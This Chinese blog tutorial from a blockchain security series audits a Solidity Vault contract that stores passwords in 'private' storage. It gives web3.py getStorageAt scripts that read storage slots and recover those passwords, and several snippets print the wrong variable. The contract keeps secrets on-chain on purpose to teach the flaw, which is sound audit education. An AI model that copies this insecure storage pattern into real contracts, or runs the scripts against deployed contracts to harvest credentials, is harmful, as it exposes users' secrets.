【区块链安全 | 第三十八篇】合约审计之获取私有数据（二）

企业开发 2025-04-09 20:25:23 阅读次数: 0

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前言

在【区块链安全 | 第三十七篇】合约审计之获取私有数据（一）中，介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识，本文通过分析具体合约代码进行案例分析。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    // 公共变量，可以通过 getter 函数读取
    // slot 0
    uint public count = 123;

    // 部署合约的地址会成为 owner
    // slot 1
    address public owner = msg.sender;

    // 示例布尔值和 uint16 类型变量
    // slot 1
    bool public isTrue = true;
    uint16 public u16 = 31;

    // 私有密码变量，不能通过合约外部直接访问
    // slot 2
    bytes32 private password;

    // 常量值，在部署时就固定，不可更改
    // 编译时嵌入，不占 slot
    uint public constant someConst = 123;

    // 固定长度的 bytes32 数组，长度为 3
    // slot 3、slot 4、slot 5
    bytes32[3] public data;

    // 用户结构体，包含用户 ID 和密码字段
    struct User {
        uint id;
        bytes32 password;
    }

    // 用户动态数组，仅限内部访问
    // slot 6
    User[] private users;

    // 映射：通过用户 ID 查找对应的用户结构体
    mapping(uint => User) private idToUser;

    // 构造函数，在部署时设置初始密码
    constructor(bytes32 _password) {
        password = _password;
    }

    // 添加新用户，自动分配 ID，并存储在数组和映射中
    function addUser(bytes32 _password) public {
        User memory user = User({
            id: users.length,
            password: _password
        });

        users.push(user);
        idToUser[user.id] = user;
    }

    // 工具函数：用于计算数组中元素的 storage 位置
    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    // 工具函数：用于计算映射中某个键的 storage 位置
    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}

代码审计

从上述 Vault 合约代码可以看出，合约将用户的敏感信息（如用户名与密码）直接存储在链上。尽管使用了 private 关键字对变量进行了访问限制，但在区块链中，所有合约数据都是公开可见的。private 仅限制了其他合约或外部账户通过函数调用访问变量的能力，但无法阻止任何人通过读取链上存储数据（storage）来获取这些信息。

下面展示如何获取敏感数据。

攻击步骤

攻击前提：Vault 合约已部署在链上。

首先，我们可以通过以下方式读取合约中第一个存储槽（slot 0）中的 uint 类型变量 count 的值：

slot0 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x0')
print(w3.toHex(slot0))

这里结果是以十六进制形式输出的：

0x000000000000000000000000000000000000000000000000000000000000007b

对其转换得到十进制123：

在这里插入图片描述

因此 count 的值为123。

再通过该脚本：

slot1 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x1')
print(w3.toHex(slot0))

得到：

0x00000000000000000001f01f36467c4e023c355026066b8dc51456e7b791d99

从右往左依次为

owner = f36467c4e023c355026066b8dc51456e7b791d99
isTrue = 01 = true
u16 = 1f = 31

再通过该脚本获取 slot 2，其中存有私有变量 password：

slot2 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x2')
print(w3.toHex(slot0))

得到：

0x4141414242424343430000000000000000000000000000000000000000

现在我们想获取用户的用户名密码，则需要访问 slot 6 的内容。

由于 User 是一个结构体：

struct User {
    uint id;           // 32 bytes，占用 1 slot
    bytes32 password;  // 32 bytes，占用 1 slot
}

所以，每个 User 占用两个连续的 storage slot。

因此，通过【区块链安全 | 第三十七篇】合约审计之获取私有数据（一）的知识，我们可以知道，在该变长数组中：

users[0].id 存在 keccak256(6) = 0xf652…3f
users[0].password 存在 keccak256(6) + 1 = 0xf652…40

因此可以通过如下语句访问 user1 的 ID 与密码：

user1ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f")
print('user1的ID是'+w3.toHex(user1ID))

user1password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40")
print('user1的密码是'+w3.toHex(user1password))

输出如下：

在这里插入图片描述

同理，user2ID 与 user2password 的地址依次递增，通过该脚本即可读取：

user2ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41")
# 末尾改为41
print('user2的ID是'+w3.toHex(user2ID))

user2password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42")
# 末尾改为42
print('user2的密码是'+w3.toHex(user2password))